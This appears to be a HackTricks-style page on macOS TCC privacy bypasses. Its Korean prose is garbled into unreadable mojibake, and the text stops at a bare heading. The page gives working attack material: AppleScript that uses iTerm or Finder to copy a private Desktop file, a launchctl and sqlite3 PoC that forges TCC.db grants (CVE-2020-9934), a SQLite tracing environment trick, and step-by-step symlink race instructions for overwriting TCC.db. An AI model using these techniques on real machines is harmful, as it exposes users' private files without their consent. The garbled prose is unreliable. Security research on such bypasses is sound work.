macOS TCC Bypasses
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ฅ๋ณ
์ฐ๊ธฐ ์ฐํ
์ด๊ฒ์ ์ฐํ๊ฐ ์๋๋ผ TCC๊ฐ ์๋ํ๋ ๋ฐฉ์์ ๋๋ค: ์ฐ๊ธฐ์์ ๋ณดํธํ์ง ์์ต๋๋ค. ๋ง์ฝ Terminal์ด ์ฌ์ฉ์์ ๋ฐํํ๋ฉด์ ์ฝ์ ์ ์๋ ๊ถํ์ด ์๋ค๋ฉด ์ฌ์ ํ ๊ทธ ์์ ์ธ ์ ์์ต๋๋ค:
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
**ํ์ฅ ์์ฑ com.apple.macl**์ ํ์ผ์ ์ถ๊ฐ๋์ด ์์ฑ์ ์ฑ์ด ์ด๋ฅผ ์ฝ์ ์ ์๋๋ก ํฉ๋๋ค.
TCC ClickJacking
์ฌ์ฉ์๊ฐ ์์ง ๋ชปํ๊ฒ TCC ํ๋กฌํํธ ์์ ์ฐฝ์ ์ฌ๋ ค๋๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. TCC-ClickJacking์์ PoC๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg
์์ ์ด๋ฆ์ผ๋ก TCC ์์ฒญ
๊ณต๊ฒฉ์๋ **Info.plist**์์ ์์์ ์ด๋ฆ(์: Finder, Google Chromeโฆ)์ ๊ฐ์ง ์ฑ์ ์์ฑํ๊ณ TCC ๋ณดํธ ์์น์ ๋ํ ์ ๊ทผ์ ์์ฒญํ ์ ์์ต๋๋ค. ์ฌ์ฉ์๋ ํฉ๋ฒ์ ์ธ ์ ํ๋ฆฌ์ผ์ด์
์ด ์ด ์ ๊ทผ์ ์์ฒญํ๊ณ ์๋ค๊ณ ์๊ฐํ ๊ฒ์
๋๋ค.
๊ฒ๋ค๊ฐ, ํฉ๋ฒ์ ์ธ ์ฑ์ Dock์์ ์ ๊ฑฐํ๊ณ ๊ฐ์ง ์ฑ์ ์ฌ๋ ค๋๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ฏ๋ก, ์ฌ์ฉ์๊ฐ ๊ฐ์ง ์ฑ(๊ฐ์ ์์ด์ฝ์ ์ฌ์ฉํ ์ ์์)์ ํด๋ฆญํ๋ฉด ํฉ๋ฒ์ ์ธ ์ฑ์ ํธ์ถํ๊ณ TCC ๊ถํ์ ์์ฒญํ์ฌ ์
์ฑ์ฝ๋๋ฅผ ์คํํ๊ฒ ๋์ด ์ฌ์ฉ์๊ฐ ํฉ๋ฒ์ ์ธ ์ฑ์ด ์ ๊ทผ์ ์์ฒญํ๋ค๊ณ ๋ฏฟ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
์์ธํ ์ ๋ณด์ PoC๋ ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค:
SSH ์ฐํ
๊ธฐ๋ณธ์ ์ผ๋ก **SSH๋ฅผ ํตํ ์ ๊ทผ์ โ์ ์ฒด ๋์คํฌ ์ ๊ทผโ**์ ํ์๋ก ํ์ต๋๋ค. ์ด๋ฅผ ๋นํ์ฑํํ๋ ค๋ฉด ๋ชฉ๋ก์ ๋์ด๋์ด ์์ง๋ง ๋นํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค(๋ชฉ๋ก์์ ์ ๊ฑฐํ๋ ๊ฒ์ ์ด๋ฌํ ๊ถํ์ ์ ๊ฑฐํ์ง ์์ต๋๋ค):
.png)
์ผ๋ถ ์ ์ฑ์ฝ๋๊ฐ ์ด ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์๋ ๋ฐฉ๋ฒ์ ๋ํ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
Caution
์ด์ SSH๋ฅผ ํ์ฑํํ๋ ค๋ฉด ์ ์ฒด ๋์คํฌ ์ ๊ทผ์ด ํ์ํ๋ค๋ ์ ์ ์ ์ํ์ธ์.
ํธ๋ค ํ์ฅ - CVE-2022-26767
์์ฑ **com.apple.macl**์ ํ์ผ์ ๋ถ์ฌ๋์ด ํน์ ์ ํ๋ฆฌ์ผ์ด์
์ด ์ด๋ฅผ ์ฝ์ ์ ์๋ ๊ถํ์ ๋ถ์ฌํฉ๋๋ค. ์ด ์์ฑ์ ํ์ผ์ ์ฑ์ผ๋ก ๋๋๊ทธ ์ค ๋๋กญํ๊ฑฐ๋ ์ฌ์ฉ์๊ฐ ๋๋ธ ํด๋ฆญํ์ฌ ๊ธฐ๋ณธ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ํ์ผ์ ์ด ๋ ์ค์ ๋ฉ๋๋ค.
๋ฐ๋ผ์ ์ฌ์ฉ์๋ ๋ชจ๋ ํ์ฅ์ ์ฒ๋ฆฌํ๋ ์ ์ฑ ์ฑ์ ๋ฑ๋กํ๊ณ Launch Services๋ฅผ ํธ์ถํ์ฌ ํ์ผ์ ์ด ์ ์์ต๋๋ค(๋ฐ๋ผ์ ์ ์ฑ ํ์ผ์ด ์ด๋ฅผ ์ฝ์ ์ ์๋ ์ ๊ทผ ๊ถํ์ ๋ถ์ฌ๋ฐ๊ฒ ๋ฉ๋๋ค).
iCloud
๊ถํ **com.apple.private.icloud-account-access**๋ฅผ ํตํด com.apple.iCloudHelper XPC ์๋น์ค์ ํต์ ํ ์ ์์ผ๋ฉฐ, ์ด ์๋น์ค๋ iCloud ํ ํฐ์ ์ ๊ณตํฉ๋๋ค.
iMovie์ Garageband๋ ์ด ๊ถํ์ ๊ฐ์ง๊ณ ์์๊ณ , ๋ค๋ฅธ ์ฑ๋ค๋ ํ์ฉ๋์์ต๋๋ค.
์ด ๊ถํ์์ icloud ํ ํฐ์ ์ป๊ธฐ ์ํ exploit์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ๋ค์ ๊ฐ์๋ฅผ ํ์ธํ์ธ์: #OBTS v5.0: โWhat Happens on your Mac, Stays on Appleโs iCloud?!โ - Wojciech Regula
kTCCServiceAppleEvents / ์๋ํ
kTCCServiceAppleEvents ๊ถํ์ ๊ฐ์ง ์ฑ์ ๋ค๋ฅธ ์ฑ์ ์ ์ดํ ์ ์์ต๋๋ค. ์ด๋ ๋ค๋ฅธ ์ฑ์ ๋ถ์ฌ๋ ๊ถํ์ ๋จ์ฉํ ์ ์๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
Apple Scripts์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
์๋ฅผ ๋ค์ด, ์ฑ์ด **iTerm**์ ๋ํ ์๋ํ ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ฉด, ์ด ์์์ **Terminal**์ด iTerm์ ์ ๊ทผํ ์ ์์ต๋๋ค:
.png)
iTerm์์
FDA๊ฐ ์๋ Terminal์ iTerm์ ํธ์ถํ ์ ์์ผ๋ฉฐ, ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์์ ์ ์ํํ ์ ์์ต๋๋ค:
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script
Over Finder
๋๋ ์ฑ์ด Finder์ ๋ํ ์ ๊ทผ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
By App behaviour
CVE-2020โ9934 - TCC
์ฌ์ฉ์ ๊ณต๊ฐ์ tccd daemon์ HOME env ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ TCC ์ฌ์ฉ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ๊ทผํฉ๋๋ค: $HOME/Library/Application Support/com.apple.TCC/TCC.db
์ด Stack Exchange ๊ฒ์๋ฌผ์ ๋ฐ๋ฅด๋ฉด, TCC daemon์ด ํ์ฌ ์ฌ์ฉ์์ ๋๋ฉ์ธ ๋ด์์ launchd๋ฅผ ํตํด ์คํ๋๊ธฐ ๋๋ฌธ์, ๋ชจ๋ ํ๊ฒฝ ๋ณ์๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค.
๋ฐ๋ผ์, ๊ณต๊ฒฉ์๋ $HOME ํ๊ฒฝ ๋ณ์๋ฅผ **launchctl**์์ ์ ์ด๋ ๋๋ ํ ๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์ค์ ํ๊ณ , TCC daemon์ ์ฌ์์ํ ๋ค์, TCC ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ง์ ์์ ํ์ฌ ์ต์ข
์ฌ์ฉ์์๊ฒ ์๋ฌด๋ฐ ์์ฒญ ์์ด ๋ชจ๋ TCC ๊ถํ์ ๋ถ์ฌํ ์ ์์ต๋๋ค.
PoC:
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
CVE-2021-30761 - ๋ ธํธ
๋ ธํธ๋ TCC ๋ณดํธ ์์น์ ์ ๊ทผํ ์ ์์์ง๋ง, ๋ ธํธ๊ฐ ์์ฑ๋ ๋ ๋น๋ณดํธ ์์น์ ์์ฑ๋ฉ๋๋ค. ๋ฐ๋ผ์ ๋ ธํธ์ ๋ณดํธ๋ ํ์ผ์ ๋ณต์ฌํ๋๋ก ์์ฒญํ ์ ์์ผ๋ฉฐ (์ฆ, ๋น๋ณดํธ ์์น์) ๊ทธ ํ์ผ์ ์ ๊ทผํ ์ ์์ต๋๋ค:
.png)
CVE-2021-30782 - ์ ์ด
๋ฐ์ด๋๋ฆฌ /usr/libexec/lsd๋ libsecurity_translocate ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํจ๊ป com.apple.private.nullfs_allow ๊ถํ์ ๊ฐ์ง๊ณ ์์ด nullfs ๋ง์ดํธ๋ฅผ ์์ฑํ ์ ์์๊ณ , ๋ชจ๋ ํ์ผ์ ์ ๊ทผํ๊ธฐ ์ํด **kTCCServiceSystemPolicyAllFiles**์ ํจ๊ป com.apple.private.tcc.allow ๊ถํ์ ๊ฐ์ง๊ณ ์์์ต๋๋ค.
โLibraryโ์ ๊ฒฉ๋ฆฌ ์์ฑ์ ์ถ๊ฐํ๊ณ com.apple.security.translocation XPC ์๋น์ค๋ฅผ ํธ์ถํ๋ฉด Library๊ฐ **$TMPDIR/AppTranslocation/d/d/Library**๋ก ๋งคํ๋์ด Library ์์ ๋ชจ๋ ๋ฌธ์์ ์ ๊ทผํ ์ ์์์ต๋๋ค.
CVE-2023-38571 - ์์ ๋ฐ TV
**Music**๋ ํฅ๋ฏธ๋ก์ด ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์์ต๋๋ค: ์คํ ์ค์ผ ๋, **~/Music/Music/Media.localized/Automatically Add to Music.localized**์ ๋๋กญ๋ ํ์ผ์ ์ฌ์ฉ์์ โ๋ฏธ๋์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌโ๋ก ๊ฐ์ ธ์ต๋๋ค. ๊ฒ๋ค๊ฐ, **rename(a, b);**์ ๊ฐ์ ํธ์ถ์ ํ๋ฉฐ, ์ฌ๊ธฐ์ a์ b๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"
์ด rename(a, b); ๋์์ ๊ฒฝ์ ์กฐ๊ฑด์ ์ทจ์ฝํ๋ฉฐ, Automatically Add to Music.localized ํด๋ ์์ ๊ฐ์ง TCC.db ํ์ผ์ ๋ฃ๊ณ , ์ ํด๋(b)๊ฐ ์์ฑ๋ ๋ ํ์ผ์ ๋ณต์ฌํ๊ณ ์ญ์ ํ ํ **~/Library/Application Support/com.apple.TCC**๋ก ๊ฐ๋ฆฌํฌ ์ ์์ต๋๋ค.
SQLITE_SQLLOG_DIR - CVE-2023-32422
**SQLITE_SQLLOG_DIR="path/folder"**๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ด๋ ค ์๋ ๋ชจ๋ db๊ฐ ํด๋น ๊ฒฝ๋ก๋ก ๋ณต์ฌ๋จ์ ์๋ฏธํฉ๋๋ค. ์ด CVE์์๋ ์ด ์ ์ด๊ฐ ๋จ์ฉ๋์ด TCC ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ด ํ๋ก์ธ์ค์ ์ํด ์ด๋ฆด SQLite ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ ์ฐ๊ธฐ๊ฐ ์ด๋ฃจ์ด์ก๊ณ , **SQLITE_SQLLOG_DIR**๋ฅผ ํ์ผ ์ด๋ฆ์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ก ๋จ์ฉํ์ฌ ๊ทธ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์ด๋ฆด ๋ ์ฌ์ฉ์ TCC.db๊ฐ ์ด๋ ค ์๋ ๊ฒ์ผ๋ก ๋ฎ์ด์์์ก์ต๋๋ค.
์์ธํ ์ ๋ณด ์์ฑ๋ฌผ์์ ๋ฐ ๊ฐ์ฐ์์.
SQLITE_AUTO_TRACE
ํ๊ฒฝ ๋ณ์ **SQLITE_AUTO_TRACE**๊ฐ ์ค์ ๋๋ฉด, ๋ผ์ด๋ธ๋ฌ๋ฆฌ **libsqlite3.dylib**๋ ๋ชจ๋ SQL ์ฟผ๋ฆฌ๋ฅผ ๋ก๊น
ํ๊ธฐ ์์ํฉ๋๋ค. ๋ง์ ์ ํ๋ฆฌ์ผ์ด์
์ด ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์, ๊ทธ๋ค์ ๋ชจ๋ SQLite ์ฟผ๋ฆฌ๋ฅผ ๋ก๊น
ํ ์ ์์์ต๋๋ค.
์ฌ๋ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ด TCC ๋ณดํธ ์ ๋ณด๋ฅผ ์ ๊ทผํ๊ธฐ ์ํด ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ต๋๋ค.
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
์ด env ๋ณ์๋ Metal ํ๋ ์์ํฌ์ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. ์ด๋ ์ฌ๋ฌ ํ๋ก๊ทธ๋จ์ ์์กด์ฑ์ผ๋ก, ํนํ FDA๊ฐ ์๋ Music์์ ๋๋๋ฌ์ง๋๋ค.
๋ค์๊ณผ ๊ฐ์ด ์ค์ ํฉ๋๋ค: MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name". ๋ง์ฝ path๊ฐ ์ ํจํ ๋๋ ํ ๋ฆฌ๋ผ๋ฉด, ๋ฒ๊ทธ๊ฐ ๋ฐ์ํ๊ณ fs_usage๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก๊ทธ๋จ์์ ๋ฌด์จ ์ผ์ด ์ผ์ด๋๊ณ ์๋์ง ๋ณผ ์ ์์ต๋๋ค:
path/.dat.nosyncXXXX.XXXXXX๋ผ๋ ํ์ผ์ดopen()๋ฉ๋๋ค (X๋ ๋๋ค)- ํ๋ ์ด์์
write()๊ฐ ํ์ผ์ ๋ด์ฉ์ ์๋๋ค (์ฐ๋ฆฌ๋ ์ด๋ฅผ ์ ์ดํ์ง ์์ต๋๋ค) path/.dat.nosyncXXXX.XXXXXX๊ฐpath/name์ผ๋กrenamed()๋ฉ๋๋ค
์ด๋ ์์ ํ์ผ ์ฐ๊ธฐ ํ rename(old, new) ๊ฐ ์์ ํ์ง ์์ต๋๋ค.
์์ ํ์ง ์์ ์ด์ ๋ ์ด์ ๋ฐ ์๋ก์ด ๊ฒฝ๋ก๋ฅผ ๋ณ๋๋ก ํด๊ฒฐํด์ผ ํ๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ์ด๋ ์๊ฐ์ด ๊ฑธ๋ฆด ์ ์๊ณ ๊ฒฝ์ ์กฐ๊ฑด์ ์ทจ์ฝํ ์ ์์ต๋๋ค. ๋ ๋ง์ ์ ๋ณด๋ xnu ํจ์ renameat_internal()์ ํ์ธํ ์ ์์ต๋๋ค.
Caution
๊ธฐ๋ณธ์ ์ผ๋ก, ๊ถํ์ด ์๋ ํ๋ก์ธ์ค๊ฐ ๋น์ ์ด ์ ์ดํ๋ ํด๋์์ ์ด๋ฆ์ ๋ฐ๊พธ๋ฉด, RCE๋ฅผ ์ป๊ณ ๋ค๋ฅธ ํ์ผ์ ์ ๊ทผํ๊ฒ ํ๊ฑฐ๋, ์ด CVE์ ๊ฐ์ด ๊ถํ ์๋ ์ฑ์ด ์์ฑํ ํ์ผ์ ์ด๊ณ FD๋ฅผ ์ ์ฅํ ์ ์์ต๋๋ค.
์ด๋ฆ ๋ณ๊ฒฝ์ด ๋น์ ์ด ์ ์ดํ๋ ํด๋์ ์ ๊ทผํ ๊ฒฝ์ฐ, ์์ค ํ์ผ์ ์์ ํ๊ฑฐ๋ ๊ทธ์ ๋ํ FD๊ฐ ์์ ๋, ๋ชฉ์ ์ง ํ์ผ(๋๋ ํด๋)์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ณ๊ฒฝํ์ฌ ์ํ๋ ๋์ ์ธ ์ ์์ต๋๋ค.
์ด๊ฒ์ด CVE์์์ ๊ณต๊ฒฉ์ด์์ต๋๋ค: ์๋ฅผ ๋ค์ด, ์ฌ์ฉ์์ TCC.db๋ฅผ ๋ฎ์ด์ฐ๋ ค๋ฉด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
/Users/hacker/ourlink๋ฅผ/Users/hacker/Library/Application Support/com.apple.TCC/๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์์ฑํฉ๋๋ค./Users/hacker/tmp/๋๋ ํ ๋ฆฌ๋ฅผ ์์ฑํฉ๋๋ค.MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db๋ก ์ค์ ํฉ๋๋ค.- ์ด env ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ
Music์ ์คํํ์ฌ ๋ฒ๊ทธ๋ฅผ ์ ๋ฐํฉ๋๋ค. /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX์open()์ ํฌ์ฐฉํฉ๋๋ค (X๋ ๋๋ค)- ์ฌ๊ธฐ์ ์ฐ๋ฆฌ๋ ์ด ํ์ผ์ ์ฐ๊ธฐ ์ํด
open()ํ๊ณ ํ์ผ ๋์คํฌ๋ฆฝํฐ๋ฅผ ์ ์งํฉ๋๋ค. /Users/hacker/tmp๋ฅผ/Users/hacker/ourlink์ ๋ฃจํ์์ ์์์ ์ผ๋ก ์ ํํฉ๋๋ค.- ๊ฒฝ์ ์ฐฝ์ด ๋งค์ฐ ์ข๊ธฐ ๋๋ฌธ์ ์ฑ๊ณตํ ํ๋ฅ ์ ๊ทน๋ํํ๊ธฐ ์ํด ์ด๋ ๊ฒ ํฉ๋๋ค. ๊ทธ๋ฌ๋ ๊ฒฝ์์์ ์ง๋ ๊ฒ์ ๋ฏธ๋ฏธํ ๋จ์ ์ด ์์ต๋๋ค.
- ์ ์ ๊ธฐ๋ค๋ฆฝ๋๋ค.
- ์ด์ด ์ข์๋์ง ํ ์คํธํฉ๋๋ค.
- ๊ทธ๋ ์ง ์์ผ๋ฉด ์ฒ์๋ถํฐ ๋ค์ ์คํํฉ๋๋ค.
์์ธํ ์ ๋ณด๋ https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html์์ ํ์ธํ ์ ์์ต๋๋ค.
Caution
์ด์
MTL_DUMP_PIPELINES_TO_JSON_FILEenv ๋ณ์๋ฅผ ์ฌ์ฉํ๋ ค๊ณ ํ๋ฉด ์ฑ์ด ์คํ๋์ง ์์ต๋๋ค.
Apple Remote Desktop
๋ฃจํธ๋ก ์ด ์๋น์ค๋ฅผ ํ์ฑํํ๋ฉด ARD ์์ด์ ํธ๊ฐ ์ ์ฒด ๋์คํฌ ์ ๊ทผ ๊ถํ์ ๊ฐ์ง๊ฒ ๋์ด ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ์ ์ฉํ์ฌ ์๋ก์ด TCC ์ฌ์ฉ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ณต์ฌํ๊ฒ ํ ์ ์์ต๋๋ค.
By NFSHomeDirectory
TCC๋ ์ฌ์ฉ์์ HOME ํด๋์ ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฌ์ฉํ์ฌ $HOME/Library/Application Support/com.apple.TCC/TCC.db์์ ์ฌ์ฉ์์๊ฒ ํน์ ํ ๋ฆฌ์์ค์ ๋ํ ์ ๊ทผ์ ์ ์ดํฉ๋๋ค.
๋ฐ๋ผ์ ์ฌ์ฉ์๊ฐ $HOME env ๋ณ์๊ฐ ๋ค๋ฅธ ํด๋๋ฅผ ๊ฐ๋ฆฌํค๋๋ก TCC๋ฅผ ์ฌ์์ํ ์ ์๋ค๋ฉด, ์ฌ์ฉ์๋ /Library/Application Support/com.apple.TCC/TCC.db์ ์๋ก์ด TCC ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์์ฑํ๊ณ TCC๋ฅผ ์์ฌ์ ๋ชจ๋ TCC ๊ถํ์ ๋ชจ๋ ์ฑ์ ๋ถ์ฌํ ์ ์์ต๋๋ค.
Tip
Apple์
NFSHomeDirectory์์ฑ ๋ด์ ์ฌ์ฉ์์ ํ๋กํ์ ์ ์ฅ๋ ์ค์ ์$HOME์ ๊ฐ์ผ๋ก ์ฌ์ฉํ๋ฏ๋ก, ์ด ๊ฐ์ ์์ ํ ์ ์๋ ๊ถํ์ด ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์์์ํค๋ฉด (kTCCServiceSystemPolicySysAdminFiles), TCC ์ฐํ๋ฅผ ํตํด ์ด ์ต์ ์ ๋ฌด๊ธฐํํ ์ ์์ต๋๋ค.
CVE-2020โ9934 - TCC
CVE-2020-27937 - Directory Utility
CVE-2021-30970 - Powerdir
์ฒซ ๋ฒ์งธ POC๋ dsexport์ dsimport๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์์ HOME ํด๋๋ฅผ ์์ ํฉ๋๋ค.
- ๋์ ์ฑ์ ๋ํ csreq ๋ธ๋กญ์ ๊ฐ์ ธ์ต๋๋ค.
- ํ์ํ ์ ๊ทผ ๊ถํ๊ณผ csreq ๋ธ๋กญ์ด ํฌํจ๋ ๊ฐ์ง TCC.db ํ์ผ์ ์ฌ์ต๋๋ค.
- dsexport๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์์ ๋๋ ํ ๋ฆฌ ์๋น์ค ํญ๋ชฉ์ ๋ด๋ณด๋ ๋๋ค.
- ์ฌ์ฉ์์ ํ ๋๋ ํ ๋ฆฌ๋ฅผ ๋ณ๊ฒฝํ๊ธฐ ์ํด ๋๋ ํ ๋ฆฌ ์๋น์ค ํญ๋ชฉ์ ์์ ํฉ๋๋ค.
- dsimport๋ฅผ ์ฌ์ฉํ์ฌ ์์ ๋ ๋๋ ํ ๋ฆฌ ์๋น์ค ํญ๋ชฉ์ ๊ฐ์ ธ์ต๋๋ค.
- ์ฌ์ฉ์์ _tccd_๋ฅผ ์ค์งํ๊ณ ํ๋ก์ธ์ค๋ฅผ ์ฌ๋ถํ ํฉ๋๋ค.
๋ ๋ฒ์งธ POC๋ **/usr/libexec/configd**๋ฅผ ์ฌ์ฉํ์ผ๋ฉฐ, ์ฌ๊ธฐ์๋ com.apple.private.tcc.allow๊ฐ kTCCServiceSystemPolicySysAdminFiles ๊ฐ์ผ๋ก ์ค์ ๋์ด ์์์ต๋๋ค.-t ์ต์
์ผ๋ก **configd**๋ฅผ ์คํํ ์ ์์๊ณ , ๊ณต๊ฒฉ์๋ ๋ก๋ํ ์ฌ์ฉ์ ์ ์ ๋ฒ๋ค์ ์ง์ ํ ์ ์์์ต๋๋ค. ๋ฐ๋ผ์ ์ด ์ต์คํ๋ก์์ ์ฌ์ฉ์์ ํ ๋๋ ํ ๋ฆฌ๋ฅผ ๋ณ๊ฒฝํ๋ dsexport ๋ฐ dsimport ๋ฐฉ๋ฒ์ configd ์ฝ๋ ์ฃผ์
์ผ๋ก ๋์ฒดํฉ๋๋ค.
์์ธํ ์ ๋ณด๋ ์๋ณธ ๋ณด๊ณ ์๋ฅผ ํ์ธํ์ธ์.
By process injection
ํ๋ก์ธ์ค ๋ด๋ถ์ ์ฝ๋๋ฅผ ์ฃผ์ ํ๊ณ TCC ๊ถํ์ ์ ์ฉํ๋ ๋ค์ํ ๊ธฐ์ ์ด ์์ต๋๋ค:
๊ฒ๋ค๊ฐ, TCC๋ฅผ ์ฐํํ๊ธฐ ์ํด ๋ฐ๊ฒฌ๋ ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ํ๋ก์ธ์ค ์ฃผ์
๋ฐฉ๋ฒ์ **ํ๋ฌ๊ทธ์ธ(๋ก๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ)**์
๋๋ค.
ํ๋ฌ๊ทธ์ธ์ ์ผ๋ฐ์ ์ผ๋ก ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋๋ plist ํํ์ ์ถ๊ฐ ์ฝ๋๋ก, ์ฃผ ์ ํ๋ฆฌ์ผ์ด์
์ ์ํด ๋ก๋๋์ด ๊ทธ ์ปจํ
์คํธ์์ ์คํ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์ฃผ ์ ํ๋ฆฌ์ผ์ด์
์ด TCC ์ ํ ํ์ผ์ ๋ํ ์ ๊ทผ ๊ถํ(๋ถ์ฌ๋ ๊ถํ ๋๋ ๊ถํ์ ํตํด)์ ๊ฐ์ง๊ณ ์๋ค๋ฉด, ์ฌ์ฉ์ ์ ์ ์ฝ๋๋ ์ด๋ฅผ ๊ฐ์ง๊ฒ ๋ฉ๋๋ค.
CVE-2020-27937 - Directory Utility
์ ํ๋ฆฌ์ผ์ด์
/System/Library/CoreServices/Applications/Directory Utility.app๋ kTCCServiceSystemPolicySysAdminFiles ๊ถํ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, .daplug ํ์ฅ์๋ฅผ ๊ฐ์ง ํ๋ฌ๊ทธ์ธ์ ๋ก๋ํ๊ณ ๊ฐํ๋ ๋ฐํ์์ด ์์ต๋๋ค.
์ด CVE๋ฅผ ๋ฌด๊ธฐํํ๊ธฐ ์ํด **NFSHomeDirectory**๊ฐ ๋ณ๊ฒฝ๋ฉ๋๋ค(์ด์ ๊ถํ์ ์
์ฉํ์ฌ) ์ฌ์ฉ์์ TCC ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฅ์
ํ์ฌ TCC๋ฅผ ์ฐํํ ์ ์๋๋ก ํฉ๋๋ค.
์์ธํ ์ ๋ณด๋ ์๋ณธ ๋ณด๊ณ ์๋ฅผ ํ์ธํ์ธ์.
CVE-2020-29621 - Coreaudiod
